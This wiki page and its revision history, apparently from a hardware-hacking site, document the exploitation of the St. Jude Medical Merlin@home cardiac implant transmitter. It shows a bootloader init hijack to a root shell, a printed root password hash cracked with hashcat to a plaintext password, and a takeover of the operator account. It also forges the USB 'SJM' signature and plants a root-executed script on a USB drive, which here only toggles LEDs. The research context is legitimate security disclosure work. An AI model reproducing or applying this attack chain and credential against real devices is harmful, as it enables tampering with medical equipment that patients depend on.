Rjmendez at 19:21, 9 August 2017

2017-08-09T19:21:23Z

← Older revision		Revision as of 19:21, 9 August 2017
Line 356:		Line 356:
	It looks like their pendrive "signature" is fairly easy to get around.		It looks like their pendrive "signature" is fairly easy to get around.

	<pre>rjmendez@~~Reggie~~:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501		<pre>rjmendez@Rjmendez:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501
	3+0 records in		3+0 records in
	3+0 records out		3+0 records out
	3 bytes copied, 0.00116472 s, 2.6 kB/s		3 bytes copied, 0.00116472 s, 2.6 kB/s
	rjmendez@~~Reggie~~:~/stjude_merlin$ hd /tmp/.sign		rjmendez@Rjmendez:~/stjude_merlin$ hd /tmp/.sign
	00000000 00 00 00 \|...\|		00000000 00 00 00 \|...\|
	00000003		00000003
	rjmendez@~~Reggie~~:~/stjude_merlin$ hd .sign_mod		rjmendez@Rjmendez:~/stjude_merlin$ hd .sign_mod
	00000000 53 4a 4d \|SJM\|		00000000 53 4a 4d \|SJM\|
	00000003		00000003
	rjmendez@~~Reggie~~:~/stjude_merlin$ sudo dd if=.sign_mod bs=1 count=3 of=/dev/sdb1 bs=1 seek=501		rjmendez@Rjmendez:~/stjude_merlin$ sudo dd if=.sign_mod bs=1 count=3 of=/dev/sdb1 bs=1 seek=501
	3+0 records in		3+0 records in
	3+0 records out		3+0 records out
	3 bytes copied, 0.00700994 s, 0.4 kB/s		3 bytes copied, 0.00700994 s, 0.4 kB/s
	rjmendez@~~Reggie~~:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501		rjmendez@Rjmendez:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501
	3+0 records in		3+0 records in
	3+0 records out		3+0 records out
	3 bytes copied, 0.00123249 s, 2.4 kB/s		3 bytes copied, 0.00123249 s, 2.4 kB/s
	rjmendez@~~Reggie~~:~/stjude_merlin$ hd /tmp/.sign		rjmendez@Rjmendez:~/stjude_merlin$ hd /tmp/.sign
	00000000 53 4a 4d \|SJM\|		00000000 53 4a 4d \|SJM\|
	00000003</pre>		00000003</pre>
Line 380:		Line 380:
	Adding the required files to the drive and a small script.		Adding the required files to the drive and a small script.

	<pre>rjmendez@~~Reggie~~:/media/rjmendez/7A3B-B3C6$ ls -lahR		<pre>rjmendez@Rjmendez:/media/rjmendez/7A3B-B3C6$ ls -lahR
	.:		.:
	total 36K		total 36K
Line 401:		Line 401:
	-rw-r--r-- 1 rjmendez rjmendez 771 May 13 18:27 upgrade_script.sh		-rw-r--r-- 1 rjmendez rjmendez 771 May 13 18:27 upgrade_script.sh

	rjmendez@~~Reggie~~:/media/rjmendez/7A3B-B3C6$ cat etc/init.d/upgrade_script.sh		rjmendez@Rjmendez:/media/rjmendez/7A3B-B3C6$ cat etc/init.d/upgrade_script.sh
	#!/bin/sh		#!/bin/sh
	function led_off {		function led_off {

Zenofex: Zenofex moved page SJM merlin at home to SJM Merlin at Home

2017-08-05T06:36:46Z

Zenofex moved page SJM merlin at home to SJM Merlin at Home

← Older revision	Revision as of 06:36, 5 August 2017
(No difference)

Rjmendez at 01:48, 15 May 2017

2017-05-15T01:48:56Z

Show changes

Rjmendez: SJM Merlin@home model EX1150

2017-05-14T19:20:57Z

SJM Merlin@home model EX1150

New page

__FORCETOC__
{{Disclaimer}}
[[File:Merlin-at-home-1.jpg|100px|left|thumb]]
[[Category:Medical]]
This page will be dedicated to a general overview, descriptions, and information related to the St. Jude Medical Merlin@home Transmitter Model EX1150.

== About ==
The Merlin@home Transmitter is intended to pair with an Implantable Cardiac Defibrillator (ICD) or Pacemaker and upload the data to the Merlin.net patient care network for review by a physician.

== Disassembly ==
<gallery>
File:Merlin-front.jpg
File:Merlin-back.jpg
File:Merlin-side_usb.jpg
File:Merlin-antenna1.jpg
File:Merlin-antenna2.jpg
File:Merlin-uart.jpg
File:Merlin-uart2.jpg
</gallery>

== UART ==
A Login Console is presented on UART (3.3v) at 115200 baud. The pinout for UART can be found below.

<gallery>
File:Merlin-uart.jpg
File:Merlin-uart2.jpg
</gallery>

== Exploitation ==

This device boots with the BLOB bootloader (https://sourceforge.net/projects/blob/) to a version of Montavista Linux (https://en.wikipedia.org/wiki/MontaVista) with a restricted root login. It is possible to init hijack by interrupting the bootloader.

<pre>Post device verification...
Serial2In string: ATi0
Serial2In string:
56000
Modem Post : Passed with retries = 0

Time taken by POST : [1.197000] seconds
nand_init: manuf=0x000000EC device=0x000000F1
scanning for bad blocks...
nand_check_blocks: nand_read_page() failed, addr=0x02B40000
nand_check_blocks: nand_read_page() failed, addr=0x04B20000
nand_check_blocks: nand_read_page() failed, addr=0x07660000

Consider yourself BLOBed!

blob version 2.0.5-pre2 for Tanto Basic Device
Copyright (C) 1999 2000 2001 Jan-Derk Bakker and Erik Mouw
blob comes with ABSOLUTELY NO WARRANTY; read the GNU GPL for details.
This is free software, and you are welcome to redistribute it
under certain conditions; read the GNU GPL for details.
blob release: d20081014_platform_4_16
Memory map:
0x02000000 @ 0xc0000000 (32 MB)

ram_post executing...
Data Bus Test
Address Bus Test
Data Qualifer Test
Device Test
c0200000status_next, board type = RF board revision = (3)
c1e00000r14_svc = 0x0000034d
Autoboot in progress, press any key to stop ..
Autoboot aborted
Type "help" to get a list of commands
blob> boot console=ttyMX0,115200n8 root=/dev/mtdblock6 ip=dhcp init=/bin/sh BOARD_REVISION=
</pre>

We can pull some useful information from the device.

<pre>sh-2.05a# cat /etc/passwd
root:0q8h1Maw1oYAU:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
adm:*:4:4:adm:/var/adm:
lp:*:5:7:lp:/var/spool/lpd:
sync:*:6:8:sync:/bin:/bin/sync
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown
halt:*:8:10:halt:/sbin:/sbin/halt
mail:*:9:11:mail:/var/spool/mail:
news:*:10:12:news:/var/spool/news:
uucp:*:11:13:uucp:/var/spool/uucp:
operator:*:12:0:operator:/root:
games:*:13:100:games:/usr/games:
ftp:*:15:14:ftp:/var/ftp:
man:*:16:100:man:/var/cache/man:
www:*:17:100:www:/var/www:
sshd:*:18:100:sshd:/var/run/sshd:
nobody:*:65534:65534:nobody:/home:/bin/sh
sh-2.05a# cat /etc/shadow
cat: /etc/shadow: No such file or directory</pre>

Lets break this.

<pre>E:\hashcat-3.5.0>hashcat64.exe --session sjm_hash -w 3 -m 1500 e:\sjm_hash -a 3 ?a?a?a?a?a?a?a
hashcat (v3.5.0) starting...

* Device #1: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 980, 1024/4096 MB allocatable, 16MCU

OpenCL Platform #2: Intel(R) Corporation
========================================
* Device #2: Intel(R) Core(TM) i5-4570 CPU @ 3.20GHz, skipped.

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers:
* Zero-Byte
* Precompute-Final-Permutation
* Not-Iterated
* Single-Hash
* Single-Salt
* Brute-Force

Watchdog: Temperature abort trigger set to 90c
Watchdog: Temperature retain trigger set to 75c

[s]tatus [p]ause [r]esume [b]ypass [c]heckpoint [q]uit =>

0q8h1Maw1oYAU:mah1200

Session..........: sjm_hash
Status...........: Cracked
Hash.Type........: descrypt, DES (Unix), Traditional DES
Hash.Target......: 0q8h1Maw1oYAU
Time.Started.....: Sun May 07 17:39:55 2017 (9 secs)
Time.Estimated...: Sun May 07 17:40:04 2017 (0 secs)
Guess.Mask.......: ?a?a?a?a?a?a?a [7]
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 544.7 MH/s (60.44ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 4764729344/69833729609375 (0.01%)
Rejected.........: 0/4764729344 (0.00%)
Restore.Point....: 0/81450625 (0.00%)
Candidates.#1....: ;~9anan -> $sb~{ka
HWMon.Dev.#1.....: Temp: 67c Fan: 33% Util: 99% Core:1404MHz Mem:3004MHz Bus:16

Started: Sun May 07 17:39:51 2017
Stopped: Sun May 07 17:40:05 2017</pre>

Attempts to login as root fail, what was going on with that operator user?

<pre>operator:*:12:0:operator:/root:</pre>

Lets set the password to "test" and attempt logging in.

<pre>sh-2.05a# grep "operator" /etc/passwd
operator:dPUvQFLH8...A:12:0:operator:/root:</pre>

<pre>[SJM_CONFIGURATION]
VERSION=EX2000 v6.1B PR_6.56
(none) login: root
Password:
Login incorrect
2017-05-14
(none) login: operator
Password:
operator@(none):~$ whoami
operator
operator@(none):~$ su root
Password:
PAM_unix[266]: (su) session opened for user root by (uid=12)
root@(none):~# whoami
root
root@(none):~# </pre>

== Taking Things Further ==

Lets look at some of these custom hotplug scripts. /etc/hotplug/usb/sjmusb looks like a good start.

<pre>#!/bin/bash
#
# Script to mount valid sjm pendrive(s) via hotplug. Hotplug will invoke
# this script only if the attached USB device is a mass-storage device.
# hotplug does this by looking at the device class of the attached usb device
# See /etc/hotplug/usb.usermap. The device class for mass storage devices
# is ______
#
# In a nutshell, the script looks in /proc/scsi/usb-storage* directory to
# find the scsi ID of the attached USB storage device. It then goes on to
# find the device node corresponding to this scsi ID.
#
# version 1.1 - Added USB signature check functionality
#
# For the new cellular adapters - viz mobidata and velocity, ignore the
# mass storage interface reported. Please see comments at the top of
# /etc/hotplug/usb/velocity for details.
#
# - Ashok Iyer (16-Jun-2010)
#

export PATH=/usr/bin:/usr/local/bin:$PATH

MOUNT_PATH="/mnt/sjmpendrives"
MOUNT_NUMBER=1
LOG_FILE="/tmp/usbstorage.log"
SGMAP="sg_map"

# The functions in this script rely on "echo" to pass information to each
# other. If you need to modify this script, do not use "echo" for debugging.
# Instead use the feedback()/error_exit() functions below. These will log
# information to a log file and do not interfere with information passing
# between functions.

***snip***

function check_sign {
local node1=$1"1"
feedback "Checking signature ... "
feedback "node1 = $node1"
dd if=$node1 of=/tmp/.sign bs=1 count=3 skip=501
signature=`cat /tmp/.sign`

if [ "$signature" = "SJM" ]; then
feedback "Valid pendrive"
echo 0
else
feedback "Invalid pendrive"
echo -1
fi
}

***snip***

# We only mount the first partition of a USB storage device. There is no
# requirement to mount multiple partitions. Makes the job easy :-)
function mount_scsi_dev {
local scsi_dev=$1
local mountpt=""

# check if the first partition of the device is mounted
if ! mount | egrep -q "^$scsi_dev"1"[[:space:]]"
then
mountpt=$(find_unused_mountpt) || error_exit "Failed to find a mount pt"
mkdir -p "$mountpt" || error_exit "Failed to create mount pt $mountpt"

# FIXME- Ugly hack to detect partitions on USB flash drive
# Possible bug in Kernel and/or devfs. Either use devfs=nomount kernel cmdline
# or fix devfs once and for all.
# There is another problem in devfs that after the USB flash disk is removed
# the corresponding devfs partitions (part1, part2 etc...) still show up.
foobar=`ls -l $scsi_dev | awk '{print $11}'`
dd if=/dev/$foobar of=/dev/null bs=1 count=1

# Checking USB signature
ret=`check_sign $scsi_dev`
if [ $ret -eq 0 ]; then
feedback "Valid pendrive"
else
# Tanto: Inform the Exec App to show
# an Invalid Media Error
if [ -p /tmp/remoteInt.pipe ]; then
echo "UsbHotplug InvalidMedia" > /tmp/remoteInt.pipe
error_exit "Invalid pendrive"
else
echo "ERROR: /tmp/remoteInt.pipe does not exist!!!"
fi
fi

feedback "Mounting $scsi_dev"1" on $mountpt"
mount -t auto $scsi_dev"1" $mountpt
if [ "$?" -eq 0 ]; then
feedback "$scsi_dev"1" is now mounted on $mountpt"
feedback "Launch application specific script"
sh /etc/launch_appln.sh $mountpt
else
feedback "Mount error for $scsi_dev"
fi
else
feedback "Ignoring $scsi_dev - already mounted"
fi
}

# Find and mount all attached USB storage devices
function mount_all_attached {
local scsiuniqid=""
feedback "Find and mount all attached usb storage devices"

for scsiuniqid in $(allusb_scsiuniqid)
do
local scsidev="`diskdev_from_uniqid $scsiuniqid`"
if [ "$scsidev" == "UNKNOWN" ]; then
sleep 1
fi
mount_scsi_dev $scsidev
done
}

***snip***

# The remover script will be invoked when the device is removed. This is
# useless in a way because umount will have no effect. The only benefit is
# that the "mount" command will not show stale entries.

# FIXME - Need to add specialized LOGIC to selectively umount USB flash drive
# which is removed ( unlike umounting all attached USB flash drives )
feedback "REM = $REMOVER"
if [ -f $REMOVER ]; then
echo '/bin/umount /mnt/sjmpendrives/*' >> $REMOVER
else
echo -e '#!/bin/sh\n/bin/umount /mnt/sjmpendrives/*' > $REMOVER
fi

# Inform the Export data script when pendrive is unplugged.
echo -e '\nps -A | grep export_data \nif [ $? -eq 0 ]; then \n\tif [ -p /tmp/usbDataExport.pipe ]; then \n\t\t echo "Hotplug umount" > /tmp/usbDataExport.pipe \n\tfi\nfi' >> $REMOVER
chmod a+x $REMOVER

mount_all_attached</pre>

Lets look inside of /etc/launch_appln.sh

<pre>#!/bin/sh

if [ $# -ne 1 ]; then
echo "usage: ./launch_appln.sh /mnt/pendrive"
exit
fi

# FIXME
# This script may be invoked by hotplug
# Do not run the script if it is already running
# updater or data export

mountpt=$1
script_path=/apps/tanto/

if [ -f $mountpt/version.ini ]; then
# call updater script
echo "Launching updater script"
if [ -f $mountpt/etc/init.d/upgrade_script.sh ]; then
sh $mountpt/etc/init.d/upgrade_script.sh $mountpt > /tmp/debugUpdater.txt 2>&1
umount /mnt/sjmpendrives/1
umount /mnt/pendrive
else
umount /mnt/sjmpendrives/1
umount /mnt/pendrive
exit 0
fi
else
# Call Data export script
echo "Launching export data script"
sh $script_path/export_data.sh $mountpt
umount /mnt/sjmpendrives/1
umount /mnt/pendrive
fi</pre>

It looks like their pendrive "signature" is fairly easy to get around.

<pre>rjmendez@Reggie:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501
3+0 records in
3+0 records out
3 bytes copied, 0.00116472 s, 2.6 kB/s
rjmendez@Reggie:~/stjude_merlin$ hd /tmp/.sign
00000000 00 00 00 |...|
00000003
rjmendez@Reggie:~/stjude_merlin$ hd .sign_mod
00000000 53 4a 4d |SJM|
00000003
rjmendez@Reggie:~/stjude_merlin$ sudo dd if=.sign_mod bs=1 count=3 of=/dev/sdb1 bs=1 seek=501
3+0 records in
3+0 records out
3 bytes copied, 0.00700994 s, 0.4 kB/s
rjmendez@Reggie:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501
3+0 records in
3+0 records out
3 bytes copied, 0.00123249 s, 2.4 kB/s
rjmendez@Reggie:~/stjude_merlin$ hd /tmp/.sign
00000000 53 4a 4d |SJM|
00000003</pre>

Adding the required files to the drive and a small script.

<pre>rjmendez@Reggie:/media/rjmendez/7A3B-B3C6$ ls -lahR
.:
total 36K
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 14 11:04 .
drwxr-x---+ 8 root root 4.0K May 14 11:02 ..
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 13 14:02 etc
-rw-r--r-- 1 rjmendez rjmendez 620 May 14 06:01 passwd
-rw-r--r-- 1 rjmendez rjmendez 4 May 10 17:07 version.ini

./etc:
total 24K
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 13 14:02 .
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 14 11:04 ..
drwxr-xr-x 2 rjmendez rjmendez 8.0K May 13 14:02 init.d

./etc/init.d:
total 24K
drwxr-xr-x 2 rjmendez rjmendez 8.0K May 13 14:02 .
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 13 14:02 ..
-rw-r--r-- 1 rjmendez rjmendez 771 May 13 18:27 upgrade_script.sh

rjmendez@Reggie:/media/rjmendez/7A3B-B3C6$ cat etc/init.d/upgrade_script.sh
#!/bin/sh
function led_off {
for i in `seq 0 7`;
do
ledControl -l$i -b0
sleep 0.05
done
}

function led_dim {
for i in `seq 0 7`;
do
ledControl -l$i -b1
sleep 0.05
done
}

function led_bright {
for i in `seq 0 7`;
do
ledControl -l$i -b2
sleep 0.05
done
}

function party_mode {
counter=0
while [ $counter -lt $1 ];
do
led_off
sleep 0.05
led_dim
sleep 0.05
led_bright
sleep 0.05
let counter=counter+1
done
}

/etc/init.d/tantoapp stop
#cp /mnt/sjmpendrives/1/passwd /etc/passwd
echo "This worked!" > /root/diditwork.txt
if [ -f /root/diditwork.txt ];
then
party_mode 15
else
echo "It did not work..."
fi</pre>

This is the output that we get from the console.

<pre>operator@(none):~$ su root
Password:
PAM_unix[265]: (su) session opened for user root by (uid=12)
root@(none):~# hub.c: new USB device usb-mx2hci-2, assigned address 2
scsi0 : SCSI emulation for USB Mass Storage devices
Vendor: Lexar Model: USB Flash Drive Rev: 1100
Type: Direct-Access ANSI SCSI revision: 02
Attached scsi removable disk sda at scsi0, channel 0, id 0, lun 0
SCSI device sda: 31285248 512-byte hdwr sectors (16018 MB)
sda: Write Protect is off
Partition check:
/dev/scsi/host0/bus0/target0/lun0: p1
modprobe: Can't locate module /dev/sg1
modprobe: Can't locate module /dev/sg2
modprobe: Can't locate module /dev/sg3
modprobe: Can't locate module /dev/sg4
modprobe: Can't locate module /dev/sg5
modprobe: Can't locate module /dev/sdb
modprobe: Can't locate module /dev/sdc
modprobe: Can't locate module /dev/sdd
modprobe: Can't locate module /dev/sde
modprobe: Can't locate module /dev/sdf
modprobe: modprobe: Can't locate module nls_cp437
modprobe: modprobe: Can't locate module nls_iso8859-1
modprobe: modprobe: Can't locate module nls_iso8859-1
modprobe: modprobe: Can't locate module nls_iso8859-1
ls /root
devel_install.sh diditwork.txt setdev.sh setlog.sh
root@(none):~# cat /root/diditwork.txt
This worked!
root@(none):~# cat /tmp/usbstorage.log
+++ Starting USB (un)mounter script for device /proc/bus/usb/001/002
REM = /var/run/usb/%proc%bus%usb%001%002
Find and mount all attached usb storage devices
usb proc-fs yields SCSI host number=0 - suffix with zeroes (kernel 2.4)
Use sgmap to match 0:0:0:0.
Waiting for device id to appear...
SCSI disk for 0:0:0:0 is /dev/sda
Checking /mnt/sjmpendrives/1
Mountpoint /mnt/sjmpendrives/1 is free
Checking signature ...
node1 = /dev/sda1
Valid pendrive
Valid pendrive
Mounting /dev/sda1 on /mnt/sjmpendrives/1
/dev/sda1 is now mounted on /mnt/sjmpendrives/1
Launch application specific script</pre>

== Party Mode Demo ==
{{#ev:youtube|cNcGebu8NRs}}

SJM Merlin at Home - Revision history

Rjmendez at 19:21, 9 August 2017

Zenofex: Zenofex moved page SJM merlin at home to SJM Merlin at Home

Rjmendez at 01:48, 15 May 2017

Rjmendez: SJM Merlin@home model EX1150